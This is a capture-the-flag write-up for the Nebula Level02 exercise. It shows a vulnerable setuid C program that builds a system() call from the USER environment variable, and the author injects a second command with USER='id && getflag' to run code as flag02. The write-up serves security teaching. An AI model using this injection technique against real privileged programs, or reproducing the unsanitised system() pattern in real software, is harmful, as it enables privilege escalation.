Exploit Education

Nebula – Level02

Description:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? Files for this level can be found in /home/flag02.

Source Code:

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}
```

First, as always login in into your box: **ssh level02@[IP] . Password is level02**.

Research:

We navigate to the directory: **/home/flag02/**

```
level02@nebula:~$ cd /home/flag02
level02@nebula:/home/flag02$ ls -al
total 13
drwxr-x--- 2 flag02 level02   80 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag02 flag02   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag02 flag02  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag02 level02 7438 2011-11-20 21:22 flag02
-rw-r--r-- 1 flag02 flag02   675 2011-05-18 02:54 .profile
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool
level02@nebula:/home/flag02$
```

We observe, that we can run the prorgram flag02, which executes with the rights of its owner flag02. Our goal must be to use this file to achieve remote code execution as flag02. This matches the description of the level:

> There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

Vulnerability analysis:

The following lines are interesting:

```
buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);

system(buffer);
```

What is happening there?

First the buffer is initialized. Secondly the function asprintf is used. I‘ve looked it up (https://linux.die.net/man/3/asprintf). The function asprintf prints to an allocated string, in this case the buffer. The string which is printed and safed at the same time is [/bin/echo (getenv(“USER“)) is cool]. This command gets executed as a shell command via system(buffer) . Changing the PATH variable doesn‘t work as it did in level01, because the path tho echo is absolute. Therefore the vulnerable part is getenv(“USER“)

getenv(“USER“):

What does this command do? I‘ve looked it up (https://man7.org/linux/man-pages/man3/getenv.3.html). This command looks up the USER enviromental variable. This is the current USER enviromental variable:

```
level02@nebula:/home/flag02$ /usr/bin/env | grep USER
USER=level02
level02@nebula:/home/flag02$ echo $USER
level02
level02@nebula:/home/flag02$
```

Just as the PATH variable we can change this variable.

```
level02@nebula:/home/flag02$ USER=hacker5preme
level02@nebula:/home/flag02$ echo $USER
hacker5preme
level02@nebula:/home/flag02$
```

Exploit:

Now, we need to exploit the vulnerability, that we can change the USER variable. After we changed the USER variable to hacker5preme the output of fla02 will be different:

```
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo hacker5preme is cool")
hacker5preme is cool
level02@nebula:/home/flag02$
```

We need to change the USER variable, that the echo command is escaped and getflag gets executed. We chain shell commands with &&. Therefore I configured the USER variable to “id && geftflag“ .

```
level02@nebula:/home/flag02$ USER="id && getflag"
level02@nebula:/home/flag02$ echo $USER
id && getflag
```

Now we execute flag02 and get Code Execution:

```
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo id && getflag is cool")
id
You have successfully executed getflag on a target account
level02@nebula:/home/flag02$
```